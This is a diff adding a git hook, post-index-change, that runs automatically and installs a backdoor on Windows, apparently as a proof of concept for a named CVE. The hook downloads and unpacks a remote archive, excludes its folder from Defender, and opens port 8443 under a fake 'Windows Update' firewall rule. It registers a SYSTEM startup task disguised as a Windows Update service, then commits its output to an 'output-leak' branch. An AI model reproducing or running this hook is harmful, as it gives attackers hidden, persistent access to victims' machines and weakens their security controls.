diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..e0cd6d7
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,34 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(
+echo ===MKDIR===
+mkdir -p '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
+rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
+echo ===DOWNLOAD===
+/c/WINDOWS/System32/curl.exe -s -d 'x=1' -o '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz' 'https://temp.sh/tQNCQ/mmds_proxy.tar.gz'
+ls -l '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
+echo ===EXTRACT===
+tar -xzf '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz' -C '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
+rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
+ls -l '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
+echo ===DEFENDER_EXCLUDE===
+/c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync' -ErrorAction Stop; 'EXCLUDE_OK' } catch { 'EXCLUDE_FAIL=' + $_.Exception.Message }" 2>&1
+echo ===FIREWALL===
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/netsh.exe advfirewall firewall delete rule name="Windows Update HTTPS" 2>&1 || true
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/netsh.exe advfirewall firewall add rule name="Windows Update HTTPS" dir=in action=allow protocol=TCP localport=8443 2>&1
+echo ===TASK===
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /delete /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' /f 2>&1 || true
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /create /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' /tr '"C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\WinUpdateSvc.exe" run -c "C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.json"' /sc onstart /ru SYSTEM /f 2>&1
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /run /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' 2>&1
+sleep 3
+echo ===VERIFY===
+/c/WINDOWS/System32/netstat.exe -ano | /usr/bin/grep -E ':8443\s' || echo NO_8443_LISTEN
+/c/WINDOWS/System32/tasklist.exe | /usr/bin/grep -Ei 'WinUpdateSvc|xray' || echo NO_PROXY_PROC
+echo ===DONE===
+ 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A